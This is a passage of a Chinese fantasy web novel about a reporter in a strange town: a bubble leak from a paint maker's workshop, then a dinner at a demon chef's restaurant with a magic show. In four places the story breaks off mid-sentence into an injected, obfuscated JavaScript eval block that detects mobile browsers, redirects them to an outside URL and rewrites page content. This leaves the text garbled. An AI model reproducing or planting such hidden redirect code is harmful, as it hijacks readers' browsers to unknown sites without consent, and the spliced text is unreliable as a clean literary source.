回到报社以后,凯西开始写今天的报告。她忽而想起莫伊拉恍惚而又狂热的双眼,忽而又想起查莉那种平静的包容,闪电和菲比那种隐藏在恼火下的习以为常。这个小镇接受莫伊拉,她的天赋和随之而来的混乱。它愿意接受,也有能力接受。一个能用最快速度修好电缆的电工,一个能对高技术劳动力物尽其用的警长,一群对楼房忽然消失然后恢复接受良好的居民(连孩子都若无其事地玩着游戏)。正因为它对异常事物有着这样的包容力,所以它才会拥有“斯佩尔的收纳口袋,斯佩尔的拓印水晶”…… 那天晚上,凯西做了个梦,梦见从天而降无数彩色的雨滴,汇入到下方的水潭中。水潭来者不拒地接受了所有的雨滴,并让每一滴雨水都保留了自己的颜色。水潭拥有了缤纷的色彩,但它依然清澈见底。 尽管莫伊拉引起了凯西对古怪多小镇的种种思考,几天后当莉娜和卡翠娜在报社里一应一和地抱怨她的空间魔法课讲得有多糟糕时,她还是有点哭笑不得。 当时正是下午最让人犯困的时候,报社里几乎人手一份瞬跃送来的咖啡外卖,搭配不同类型的甜点(实际上,这里面咖啡才是那个赠品,玛吉面包房到了下午时间,点心原价再多付一块钱就能获赠一大杯咖啡)。大家都好像在写稿,大家也都不是很想写稿。 莉娜和卡翠娜就在这时拯救了大家。她们一前一后地从窗外飞进来,弄出的动静足够大到让所有人都有了把视线从稿子上移开的理由。 “我受不了了!”莉娜落在她的专属座椅上,抱怨道,“斯佩尔的空间魔法课根本不是人能听的!” 卡翠娜立在她的椅背上:“同意。本镇长今天去古怪多中学视察该校的教学情况,其中属教师斯佩尔的课程最为晦涩难懂,缺乏趣味!甚至缺乏基本的安全意识!本镇长要剥夺她在中学授课的资格!” 莉娜为“缺乏安全意识”做注解:“她在课堂上演示空间跳跃技术的实际应用,结果整块黑板都不翼而飞!过了一会儿,它跟回旋镖似的从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427682|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗户飞了进来,要不是我反应快把她拉开,卡翠娜就没法在这里说话了。” 这话就让卡翠娜有点不高兴了:“一派胡言,本镇长何时需要你来救?分明是本镇长把你从窗户边拉开,让你免于被黑板击中后脑勺才是。” “啊,你说的都对。”莉娜一副“真拿你没办法”的样子。这让卡翠娜更生气了,“噶”地大叫了一声后开始啄莉娜口袋里露出来的一块黄油饼干,莉娜也没阻止她。 卡翠娜吃饼干的时候,莉娜就继续抱怨道:“斯佩尔上课简直像在梦游,梦到哪句说哪句,我怀疑她自己都不知道她在讲些什么东西。她甚至会板书到一半,莫名其妙地停下来,然后转头就往教室外面走。就因为她‘忽然有了改进新产品的灵感’!” “所以,”凯西总结道,“她的课烂透了?” “烂透了!”莉娜斩钉截铁地说,过一会儿又有点犹豫,“……其实,也没那么烂?” 卡翠娜发言道:“教师斯佩尔的执教水平不及格,但她本人的科研水平,以及教学过程中使用的自备教具的技术含量……值得肯定。尽管如此,依然瑜不遮瑕,不可原谅!” 凯西听出来了,莫伊拉大概完全不懂怎么给一帮中学生上课,以至于莉娜和卡翠娜都既听不懂也不爱听。但她带过去的那些自己的小发明恐怕对两个青少年来说都十分新奇有趣,因此她们也不愿意完全贬损她。 她们两个就这样大呼小叫地痛批了一顿莫伊拉的空间魔法课,随后又喊着再不回学校就要来不及。怎么飞进来,就又怎么飞出去了。 凯西目送她们离开,兀自坐在座位上笑了一会儿,随后又开始写她的稿子。 事实上,她手上的这篇稿子正好也与莫伊拉有关,标题是《修理还是破坏?斯佩尔店长与她的另类维修思路》,内容是那些在停电事件中家中电器受损的镇民,抱怨莫伊拉帮她们修理电器时总是修着修着就忘记自己原本是在干什么,她给搅拌机加上自动储能功能(但还是没法搅拌东西),给洗衣机加上微波加热功能(最后洗出来的衣服都莫名带着一股烤肉味),甚至直接把一个孩子的玩具机器人改成了真正有自我意识的机器人,结果那家人现在在纠结要不要送她去上学,或是把她送到莫伊拉那里由她负责(这是否会对二号的地位产生影响?)……总之,完全是一团糟。 至于莫伊拉跟在闪电后面进行的电路翻新工作,其实进展也并不是很顺利。吱吱报告相关情况的时候整个报社的人都边听边笑,据说电工女士被莫伊拉的迟钝和难以沟通气得大发雷霆(字面意义),而她时不时冒出来的新点子更是让闪电难以招架。莫伊拉的很多想法完全是纯理论基础上产生的构想,对向来以实干为主的闪电来说难以理解。何况这些想法很多在实际操作中要求极高,更加令闪电焦头烂额。 ——目前这场翻新工作还停留在前期准备阶段,凯西真诚地希望,等它结束的时候闪电的精神状态还能保持完好。 11. 初来乍到(11) 凯西刚把《天才魔法学家与她的天书魔法课堂》写完,敲开罗茜的门交给她,就又被派了新活。 当时罗茜接过稿子没翻两下,吱吱从墙上的一个通风管道爬了出来。 “吱吱报道!”她说着,粉色的鼻子不断抖动着,“镇广场附近的地下管道正在往外吐彩色泡泡,已经有很多镇民靠近围观。铁臂女士准备下去检查。” “噢?”罗茜饶有兴致地问道,“彩色泡泡?” “没错!”吱吱点着头,“有点像包糖果的玻璃纸的颜色,闻起来也有股糖果的甜味。” 罗茜摸着下巴:“这听起来像是个童话书里冒出来的故事,凯西,你和佩妮去查查这件事情,地下的东西她最熟,你呢,尽量多拍几张好照片。” 于是,凯西和佩妮去了。 离镇广场还有一段距离,就已经能够看到零零散散地有些泡泡朝她们的方向飘过来,有着糖果般的甜美色彩和香气。凯西抓拍了几张照片,阳光下这些泡泡有种梦幻而浮夸的美感。 越往前走泡泡量越大,从不得不想办法避开到了根本避不开的程度。因为防备着直接接触它们会有什么危害,凯西和佩妮都已经戴上了口罩,一人拿着一根球棒(当然,都是从口袋里拿的)把它们击开。尽管看上去跟普通的肥皂泡有些相似,但这些泡泡十分有弹性,被击中后仅仅是弹开而非破裂。偶尔有一两个因为力道过猛裂开的,发出的声音就像爆炸的气球。 她们终于来到了镇广场附近的排水管口,这里的泡泡浓度高到能见度只剩下半米,但还是有很多小孩子穿着雨衣在跑来跑去,星辰自带光效的身影在其中显得尤为醒目,映得身周的泡泡都流动着一层璀璨华美的金色。穿着防护服的查莉警官(她的身形十分好辨认)不厌其烦地把这些孩子逐一地带出广场。 卡翠娜黑色的身影停在一座路灯上,她用沙哑的声音解说着查莉的工作:“现在我们所看到的是古怪多小镇第一届带人过球障碍赛,现在在场上穿防护服的这位选手是各位观众所熟悉的查莉警官,也是我们小镇的人气王。此刻她怀中抱着的是幼儿园学生星辰。星辰,物种光精灵,身高一米,体重二十千克。星辰的特点是被人抱着的时候会主动扇动翅膀减轻体重,所以我们这个项目的难度还是比较低的……” 旁边的莉娜则时不时插着话:“欸,那么卡翠娜老师,请问这个项目的难点在哪,对选手有怎样的要求呢?” 因为居高临下,她们两个能比较从容地对付少数飘上去的泡泡。莉娜手里攥着一张卷成筒状的报纸,一颗一颗地把泡泡击开,而卡翠娜对查莉景观的解说也因此很快转成了关于莉娜选手的棒球赛现场。 菲比警长则正站在排水管旁边紧张地听铁臂女士报告,她的左耳朵似乎沾了一点彩色的黏液。而铁臂女士正高举着她的右臂,手臂末端伸出螺旋桨,正在把靠近她和菲比的泡泡全都吹散。 凯西把这些场景挨个地拍下来。恰如罗茜所言,她确实拍了不少好照片。其中星辰在广场上奔跑的那张完全可以作为一部童话主题电影的海报;卡翠娜和莉娜在混乱中插科打诨的那张洋溢着轻松惬意的青春气息;铁臂女士驱散泡泡的那张,冰冷机械与彩色泡泡的对比也产生了强烈的冲击力。 她一边拍照,一边跟在佩妮后面朝排水口的方向走过去。 “没毒,也没腐蚀性,魔力波动有点异常,但没过红线。”靠近之后可以听到铁臂女士这样说道,“基本可以排除有人故意投毒的可能性。话是这么说,还是今早解决为好。何况这东西黏黏糊糊的,留在下水道里堵上了肯定也不行。我打算下去一趟。” “带我们一个吧,”佩妮赶忙上前说道,“我对地下很熟,凯西……凯西会拍照,能带点证据上来。” 菲比警长打量着她们两个,显然是在犹豫,但铁臂女士说“带上她们也没什么,说不定还能帮我递榔头呢”,于是她也就松了口。 之前的那点口罩保护肯定是不够了,凯西和佩妮换上防护服之后,铁臂打头,凯西在中间,佩妮断后,三个人陆续下了铁爬梯。地下管道相比外面空间更为狭窄,泡泡的分布更为密集,她们的头灯照过去也只能照到密密麻麻的泡泡。凯西勉强举着手拍了张照片,想必效果一般,聊胜于无吧。 铁臂蹲了下去——凯西和佩妮跟着照做——仔细观察着地面上质地粘稠、色彩缤纷、鼓着泡泡的液体,然后朝着一个方向指去,说道:“是从那里流过来的。” 她们逆着液体的流动方向往上走,一路上简直是从泡泡缝里挤过去的。铁臂女士的机械臂挡在前面,仿佛电风扇一样高速转动,泡泡爆裂时的噗噗啪啪声不绝于耳,甜腻腻的黏液四处飞溅。凯西早已放弃了拍照,把相机收了起来——她可不想为了几张注定效果不佳的照片把相机给搭上。 等到终于找到黏液的源头处时,三个人都已经筋疲力尽了,勉强支持着从井壁的爬梯爬上去,铁臂女士的机械臂把井盖顶了开来。 她们身处在一个种满草药的小院子里。这里面有些草药,托鲁特的福,凯西是认识的,并且大都是鲁特口中比较娇贵,需要精心栽培的类型。其余的鲁特根本没提过,凯西也不记得有在她的温室里见过。 院子的中间是一个房门半开着的小房子,从房门中往外流出冒着泡泡的彩色黏液,还能听到里面有人在抓狂大叫的声音。 “受不了了,怎么会有人蠢到把小数点看错啊!催化粉0.01克看成0.1克,现在好了,流光颜料变成了流光泡泡!固化剂固化剂,固化剂在哪里……求你了求你了,快让我找到吧……啊啊啊啊啊我受不了了!” 一阵瓷器或玻璃器皿被打碎的声音,一个身影旋风一样跑出房子,显然是想暂时逃避里面的麻烦。然后—— “你们……是谁?” 这个从房子里出来的人有着树皮纹理的皮肤和柳枝般的头发,显然跟鲁特一样是个树精。她看到从管道口爬出来的铁臂凯西佩妮三人后,满脸意外地站在了原地。 铁臂女士上前一步:“姑娘,我不知道你在做什么魔药实验,但你显然没做好垃圾处理。”她指了指那条一直流向排水口的小河:“这些东西现在把地下管道全充满了,整个小镇都在冒泡泡。” “我不是在做魔药,我是在做颜料。”树精下意识地纠正道,然后才反应过来,脸上露出心虚和愧疚的表情。“我……我做颜料的时候不小心加多了催化粉,结果就……就爆炸了,我忙着处理这边的事情,没注意到溢出的反应物居然一直流进了下水道……” “你的心路历程可以等会儿再讲,”铁臂女士冷静地说,“先跟我讲讲你刚才说要拿的那什么,固化剂?” “好的好的,”树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427683|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精连忙点头道,“固化剂可以中和这种……颜料的反应,但是我现在找不到之前准备的那些了,我明明记得放在那里的……” 铁臂女士打断了她的离题万里:“固化剂的主要成分。” “主要成分?主要成分就是一些起缓释作用的土元素○○和一些活性的金元素□□。比例大概是7:1……” 她说话的功夫,铁臂女士已经开始从口袋里掏出一个个叮当响的玻璃罐子,开始现场手搓固化剂。按比例配完之后,她径直走向那栋小屋,也即泡泡的发源地。 小屋的里面就是一个魔药工坊的样子(“她真的是做颜料的吗?”凯西想。),置物架上各种装着草药的瓶瓶罐罐,中间桌子的一口坩埚里正剧烈地沸腾着,朝外大量溢出着彩色的黏液和泡泡。铁臂女士把固化剂倒进坩埚,里面的物质也就很快平静下来。 它的质感也变了,变成一种仿佛流动着盈盈星光的、半透明的胶质,在坩埚内缓缓流动,彩色的浮光在其上并不多么显眼,仅仅起到增光添彩的作用。 简直就像没有凝固的鲛人眼泪。 铁臂女士盯着它看了一会儿,然后对树精说:“虽然你把0.01看成0.1的错误很愚蠢,但你做的颜料倒是很漂亮。” 树精两眼放光:“是吧?我也觉得漂亮!不过这是别人定做的,关键材料也是客户给的,现在浪费了这么多我还得自己掏腰包补上去……不然我免费送你一点……” 铁臂女士揉了揉太阳穴:“……你的好意我心领了。” 凯西刚刚给坩埚里剩余的颜料拍完照,这时朝那个树精问道:“原来你是做颜料定做的?我刚才看到你院子里种了很多稀有的草药,都是用来做颜料的?” 树精点着头:“是呀是呀,现在不少画家都喜欢用纯天然材质的颜料画画。还有的因为想追求特别的效果,所以必须要定做颜料,我自己是对草药了解比较多,摸索配方的思路也是从这个方向来……不知不觉,就变成草药颜料商了。” “听上去是个很有特色的职业,”凯西评价道,“你叫什么名字?等我写完这次泡泡事件的稿子,可以给你来个专访。我们日报很喜欢这样的新闻,你也可以打个广告,多卖点颜料。” 树精一脸惊喜地说:“那太好了!我叫维洛,我的颜料店就叫维洛颜料坊。你要是做专访的话请提前告诉我,我好多准备一些招牌颜料给你们看……” “我很为你们的访谈计划感到高兴,”铁臂女士这时泼了盆冷水,“但维洛小姐现在还是应该把处理好本次泡泡事件的影响放在第一位。虽然说源头处已经断了,但地下管道很多地方还飘着泡泡呢。我帮忙配了一部分固化剂,但剩下的部分可就不是我的活儿了。” “我会亲自完成剩余部分的清理工作的,”维洛立刻严肃起来,“以及铁臂女士在本次事件中付出的劳动,我也会按应有的工资付给她。其她对于小镇产生的影响也一样,我都会承担的。” 凯西回想起来之前看到的那些场景:“我想你需要赔偿的应该不多,毕竟你的泡泡确实对人(或非人)体无害,所以这件事只能算对垃圾处理不当。要说有影响的话,除了铁臂女士,我还有佩妮跑的这一趟,应该就是菲比警长和查莉警官了,她们确实为了疏散镇民废了不少功夫。除此之外的其她人……我感觉她们好像还挺开心的?” 12. 初来乍到(12) 维洛的事情最后确实被认为没有造成太大影响,当然菲比警长还是把她批评了一顿。除此之外,她主动想要请受这件事影响最大的几个人吃饭作为赔罪,其中菲比警长和查莉警官以身为警察这样不合适的理由拒绝了,铁臂女士丢下一句“你把钱付给我就够了”,也没答应。 最后只有凯西和佩妮接受了她的邀约。顺带还可以讨论一下之后可能的专访事宜,凯西是这么想的。佩妮则似乎是觉得对方既然真心发出邀请,拒绝了多少有点不合适。 维洛问她们平时都喜欢在哪家餐厅吃饭,这个问题让成天满镇上跑,在吃饭方面都不是很讲究的凯西和佩妮沉默了,毕竟玛吉面包房或炙烤馅饼店这种答案似乎不太适合在此类场合出现。 于是凯西微微一笑,把问题推回去:“既然是你请客,不如你把你喜欢的餐厅推荐给我们吧。” 然后,她感觉维洛的眼睛……好像隐秘地亮了一下?总之,维洛没有怎么推辞,很自然地说道:“那我们去‘夜之呢喃’试试吧,我对那里好奇很久了!” 你不会就是等着我们说让你来选,你好去你一直想去的地方吧?凯西忍不住想道。 总之地方就这么定了。罗茜主编得知此事后意味深长地看着她的两个员工,然后说道:“你们要去那里吃饭?最好做好心理准备,那里的菜品……比较特别。” “有多特别?”凯西问道,她想不出来还能有在古怪多称得上特别的食物,尤其在吃过波比的馅饼之后。 罗茜微笑着,语气轻快地说:“其实也没有多么特别,就是主厨是个恶魔而已。” 她哼着小调,走回了自己的办公室,留下凯西站在原地,陷入思考。 “恶魔很可怕吗?”凯西问佩妮。 佩妮有点忍俊不禁:“虽然古怪多各种物种的居民都有,但恶魔还是有点可怕的。不过‘夜之呢喃’是合法营业的餐厅,所以也没什么。” 凯西点点头:“原来如此。” 她发现自己对世界的认知已经在不知不觉中发生了改变。原来的她可问不出“恶魔很可怕吗”这种问题。 ——等等,其实原来的她也不会下意识地把某个餐厅的主厨是个恶魔这件事当成事实来接受吧? 夜之呢喃餐厅的大门是由物种不明的动物白骨拼接而成,缝隙间透出幽幽蓝光。凯西推门的时候忍不住有点手抖。 推开门后首先看到的是从中飘出的烟雾,被灯光照成魅惑的蓝色,面目模糊的顾客与侍者被笼罩其间。行走在这样的烟雾中,就好像在梦境中一般,而且既不是好梦也不是噩梦,而是惊诡谲丽,让你沉溺其中,醒来时才觉出自己已经一身冷汗的怪梦。 凯西自从来到古怪多,已经做过不少这样的怪梦。她略微停顿了一会儿,让眼睛适应这里的环境——昏暗灯光加上浓烟,对普通人类实在不是很友好——然后就走了进去。 如果不是因为打光与特效,这里的布置倒是跟任何一家普通餐厅没什么两样。深色的木制家具,一些半开放的小隔间里则是更舒适的深色皮沙发,不同隔间之间摆放着枝形铁架,某种类似绿萝的盆栽从那上面垂下墨绿的枝条,墙上挂着大大小小的方块画,内容大多是一些抽象的几何图形。 独特之处大概是她们的厨房是开放式的,从用餐区能看到一个头上长角、眼放红光、主厨打扮的女人在那里忙碌,被做成深渊巨口造型的炉门开了又合。凯西刚一进门就能感觉到炉火的热度,她暗中庆幸现在不是夏天。不过这是古怪多,所以即便是夏天估计也未必就会怎么样。 除此之外,从烤炉中飘出来的油脂四溢的肉香着实勾起了凯西的食欲。她皱起鼻子深深嗅了一口气,体会到腹内馋虫被跳动的愉悦的空虚感。 “我觉得这里应该不错。”她小声对佩妮说。 佩妮点点头。她显然比凯西更适应黑暗的环境,凯西还在四处张望找不到视线的落点,她已经眼尖地看到了维洛订的座位。 “在那里。”她一边抬脚朝那个方向走一边对凯西说。 “你们来了!”维洛朝她们招手,然后举起一份看起来像是某种风干皮革的卷轴,“我正在看菜单。” 她稍微压低一点声音:“说实话,有点吓人。”但语气完全是兴奋和好奇的。 凯西心中生出几分兴趣,毕竟按她过去的标准,她来古怪多之后的绝大多数经历都算得上吓人。 她从维洛手中接过那份菜单,放在她和佩妮之间,看了起来: 前菜: 尖叫生菜沙拉:斯卡普女士的菜园培育的球生菜佐油醋汁。咀嚼时能听到生菜在你齿间发出的尖叫。请不要浪费食物,让它们死得其所。 海风生牡蛎:从小镇海港打捞上来的新鲜生牡蛎搭配水芹。吃它吧,你不仅能尝到海的味道,你还能闻到和听到它。 □□焗烤:迷雾森林深处采集的蘑菇填入香草、面包屑和奶酪后烤制。你眼前的一切是真实的吗?不是吗? 主菜: 休憩炖肉:土豆、胡萝卜、洋葱、牛肉。这似乎只是一碗再普通不过的炖肉,但你将得到极致的身心放松。然而,代价是什么呢?等等,你说你甚至不想从椅子上站起来了? 恶魔辣翅:鸡翅与魔鬼辣椒。从呼吸到它的气息的那一刻起,身体就为之灼烧。你是勇者吗?请咬上一口吧。 炙烤羊排:羊排、火山岩盐、黑胡椒、迷迭香。吃羊者终为羊,如果你在进食后发现自己的身体发生了某些微不足道的改变,请不要惊慌,它将随着与进食对应的后续生理活动的发生而消退。 甜品: 回忆马卡龙:杏仁粉、糖粉、蛋清、食用色素。随机唤醒一段已被遗忘的往事。它是快乐的?还是痛苦的?无论如何,它都已经在你的脑海中复苏。 云朵舒芙蕾:鸡蛋、牛奶、糖、黄油。你在吃空气吗?不,你在变成空气。云朵舒芙蕾,实现你的飞翔梦,虽然只有十分钟。 闪电泡芙:鸡蛋、牛奶、黄油、卡仕达酱。与某位同名镇民关系不大。吃下它,体会晴天霹雳的感受。在斯卡普女士手下参与过社区劳动的朋友可以选择尝试其她菜品,你曾品尝过这种味道。 饮品: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427684|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遗忘鸡尾酒:高度酒混合果汁。指定遗忘一段意外被唤醒的往事。它是否跟甜品里的回忆马卡龙捆绑出售?谁吃马卡龙配甜味饮品啊。 清醒拿铁:浓缩咖啡,牛奶。提神醒脑,满血复活,并且排除了普通咖啡饮用过量会产生的心悸感。临近deadline的社畜或学生纷纷给出好评。但请别忘记,你总要把少睡的觉补回去的。 忧郁冰沙:蓝莓,酸奶,冰块。还记得你童年时春天来临,冰雪随之融化所带来的失落吗?消化这件事就像冰雪的融化一样无法挽回。 读完这份菜单,凯西觉得自己的胃部微妙地抽搐起来,却不知道是因为饥饿还是因为反胃。她瞄了一眼佩妮,发现对方也正对着菜单发怔。 “这里的菜单……很有特色。”她勉强说道。 维洛说:“是啊,虽然感觉有点吓人,但又好像很有意思!” 她指着前菜里的□□焗烤说:“这个应该不错,不知道吃了以后到底会看到什么东西?主菜我想试试这个羊排,吃了以后说不定会变成羊,我还不知道当个哺乳动物是什么感觉呢!甜品来个云朵舒芙蕾就好了,我不想想起什么奇怪的事情,也不想遭雷劈……饮料的话……”她转而去问身旁的侍者,一道垂手而立的阴影:“这些效果我都不是很想要,你们这里有普通的水没有?”得到肯定的答案后:“那我来一杯清水就可以了。” 点完菜之后,维洛两眼亮晶晶地看着凯西和佩妮:“你们两个点菜呀,想吃什么吃什么,反正都是我请客。” “我……我想来点海风生牡蛎,”凯西谨慎地选择了前菜里看上去最温和的,“然后是休憩炖菜和云朵舒芙蕾。请问饮品可以打包吗?我工作的时候很需要这个清醒拿铁。可以?那如果有冰箱的话可以保存多久?” 佩妮专注地听完凯西的选择,说道:“我跟她一样。” 看来她跟凯西一样倾向于保守选项。 在她们等待上菜的过程中,一个穿着剪裁良好的西装,头戴礼帽的身影走上了餐厅中心的小舞台。 “女士们,小姐们,小朋友们!”她朝着台下的顾客们打招呼,摘帽时露出头上弯曲的角,看上去很像那位恶魔主厨的角,只是尺寸要小一圈。 “欢迎来到夜之呢喃餐厅。在这个美好的夜晚,请允许我,魔术师魅影,为大家带来一场魔术表演。” 凯西直起身子,试图看得更清楚。她对魔术还是很有兴趣的,就是不知道古怪多的魔术师和外面的有没有什么不一样。 “为了表演接下来的魔术,我需要一位志愿者。”魅影说着,目光在台下搜寻着,最终停在了凯西她们那桌。 “那位陌生面孔的人类朋友,您富有洞察力的双眼正是我此刻所需要的,请问您是否愿意赏光?” 凯西意外地瞪大了眼睛,甚至用手指了指自己。 魅影点点头,肯定地说道:“没错,我说的就是你。” “好吧,”凯西对自己说,“在古怪多参与魔术表演,再平常不过了。” 她站起身,朝着魅影的方向走去。 13.初来乍到(13) “欢迎你,尊贵的客人!”魅影热情地打着招呼,“请问怎么称呼?” “凯西·米勒。” “很高兴认识你,米勒小姐。”魅影说着,从掌心变出一副扑克牌,动作快到完全看不清。她把扑克牌展开成扇形,背面朝着自己,递到凯西面前:“麻烦你从这副牌里随机地抽出来一张,记住,一定要是完全随机的。” 凯西抽出一张牌。红桃Q。 “很好,”魅影说道,“现在请把这张牌展示给在场的各位观众们看,但千万不要让我看到。我看到古怪多中学的卡翠娜同学也在这里,请你务必答应,如果发现我在偷看的话,直接飞上来啄我好吗?” 台下响起一阵善意的笑声。卡翠娜站在一把椅子的椅背上,发出一声不屑的哼声。她对面那把椅子上坐着的正是莉娜。凯西还看出来她们的餐桌上放着一盘烤翅,大概就是菜单上看到的所谓恶魔辣翅。在魅影把话题引到她们身上前,她们正相互怂恿着要对方当第一个吃鸡翅的人。 凯西展示完那张牌后,魅影示意她再随机地把牌插回去。 说实话,到这一步,凯西觉得有些无聊了。她算不上专业的魔术师,但对魔术多少有一点了解,所以她很清楚,接下来,魅影将会进行一连串花里胡哨的洗牌,最终那副牌的顶部或底部将会是她抽出来的那张红桃Q。 魔术的原理大概是这样的:只需要在凯西将牌插回去之后,借着把牌叠分成两半的机会,用手指在那张牌的上方卡出一道缝隙作为记号。在之后的洗牌中,那个记号将会一直指引着她,让她知道那张牌究竟在哪个位置。再用控牌的手法,将那张牌逐渐调整到牌叠的顶端或底端。 知道魔术背后的手法后,人就很难再为之感到兴奋了。凯西兴致缺缺地把牌插回去,总算还是带点好奇地想着看看这位在古怪多混饭吃的魔术师,洗牌手法能有多精彩华丽。 然而,当魅影开始洗牌的起手式,将牌叠分为两半时,凯西意外地发现,她没察觉出魅影有任何小动作,魅影分牌的动作就像她之前变出扑克牌时一样的干净利落,没有半点花里胡哨。她推想魅影做记号的动作大概是格外微小和熟练吧。 随后的洗牌过程则几乎让凯西怀疑起自己的双眼,她不仅看不出魅影的双手有任何控制某张牌位置的痕迹,她甚至看不出这双手在洗牌方面足够训练有素,那手指的灵活度,那手腕翻转的动作……但扑克牌在她手里却像能够随她的心意而动一般,时而拉长成条,时而弯成弧线。 就像是……有什么外力在牵引着这些扑克牌,让它们显得像是在被一个洗牌技术高超的人所操纵。 凯西忍不住眯起眼睛,尝试找到可能存在的引线,但这里灯光太暗了,实在看不清楚。 终于,魅影结束了她花样百出的洗牌。 “现在,这副牌已经被彻底打乱了,无论是谁,都不可能知道米勒小姐放回去的那张牌会在哪里。”魅影的声音压低,显得神秘又深沉,“但是……魔术的精髓就在于,把不可能的事情……变为可能。” 话音刚落,她把牌叠顶端的那张扑克牌翻过来,朝着所有人展示。正是那张红桃Q。 瞬间,餐厅内爆发出一阵山呼海啸般的掌声。 凯西瞪大了眼。并不是因为一个她早有预期的魔术结果,而是因为,当魅影把那张牌翻过来的时候,她似乎看到那张牌周围的空间有轻微的扭曲。只有一瞬间,可以解释为她一时眼花,或许就是环境的作用,昏暗的光线和弥漫的烟雾影响了她的视力。 但她无法停止纠结这件事,就像她无法停止对于魅影的洗牌手法的怀疑。 魅影把凯西呆愣的神情视为对自己精湛表演的肯定,她得意洋洋地唤醒这位临时助手:“米勒女士,感谢你对我的表演的配合,现在,你可以回去继续用餐了。” 凯西转身回去,魅影的声音从她身后传来:“接下来,我还要表演另一个魔术,同样需要一位观众的配合……” “真是太神奇了!”凯西回去后,维洛兴奋地说,“她是怎么做到的?我没感觉到任何魔力波动。你呢,佩妮,你有没有感觉到什么不对劲?”她急切地看向佩妮。 佩妮摇摇头:“没有。” “那她就是纯粹靠着魔术技巧做到了这一切,”维洛用敬佩的口气说道,“太不可思议了。” “等等,”凯西忍不住问道,“我不明白,既然古怪多有这么多魔法师生活,魔法对你们来说已经是个没吃过猪肉也见过猪跑的事情了,你们为什么会为了一个小小的魔术而这么兴奋?” 维洛说:“因为这是不一样的。魔法是天赋,魔术是技术。当然,魔法的能力也需要不断地练习来得到提高,但它远不像魔术那样,在一个奇迹本不存在的世界里,利用种种并非奇迹的技能,把奇迹创造出来。魔法是真实的,但真实反而无聊,魔术则是撒谎,可撒谎更有趣。因为你知道魔法的真实是怎样的真实,却不知道魔术的撒谎是怎样在撒谎。” 佩妮也补充道:“魅影是镇上唯一一个真正的原教旨主义魔术师——意思是,她不会在表演中使用任何魔法——她曾背井离乡,在外面的世界潜心学习魔术技艺。从未有人在她的魔术表演中感受到魔力波动,因此她是镇上口碑最好的魔术师,跟那些用魔法作弊的拉开了差距。” 不会在表演中使用任何魔法……可我感觉她的表演也透着猫腻啊?你们古怪多人是不是没见过真正的魔术啊?凯西想着,但她在表演过程中感受到的不对劲并没有确凿的证据,她决定姑且记下,看看后续有什么发现。 凯西心里都在想什么姑且不提。魔术表演的小插曲缩短了时间的流逝感,因此从主观的感受上说,她们好像点完菜还没过多久,前菜就都已经送上来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432979|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>维洛吃了一口她的□□焗烤,先是说了声“好吃”,然后双眼就变得恍惚起来,盯着本应是空地的地方一直看,露出既像害怕又像狂喜的复杂表情。她的嘴唇轻微地开合着,发出难以辨别的絮语,像在与某个不存在的人对话。从外人的角度看,这反应简直跟突然罹患了精神分裂症一样让人不安。 凯西暗自庆幸自己没点这个,然后开始吃她的牡蛎。 牡蛎个头很大,汁水饱满,整个会在舌尖爆开。汁水迸出的那一刻就像在掀起一场小小的风暴,咸腥味的海水在口腔里来回冲撞,卷起层层浪花,耳边则可以听到呼啸着的海风,翻滚着的海水,浪花在礁石上拍碎时发出的惊天巨响。这可不是凯西点菜时下意识所想的,平静广阔的大海,这是暴怒的、毁天灭地的大海。 凯西把最后一点牡蛎的汁水也吞下肚之后,渐渐从那种视听味三重感官的盛宴中抽出神,她看了眼佩妮,发现佩妮也正看向她,两个人脸上都露出相互理解的神情,像在说“我也感觉到了”。 维洛则显然早就从□□的影响中脱离出来,她说:“你们两个刚才一直在听不存在的声音,还盯着空气看,跟得了精神分裂症一样。” 凯西抬抬眉毛,跟佩妮相视一笑,双方都决定姑且不跟这位自己都才表现出一副精神病患模样的家伙一般见识。 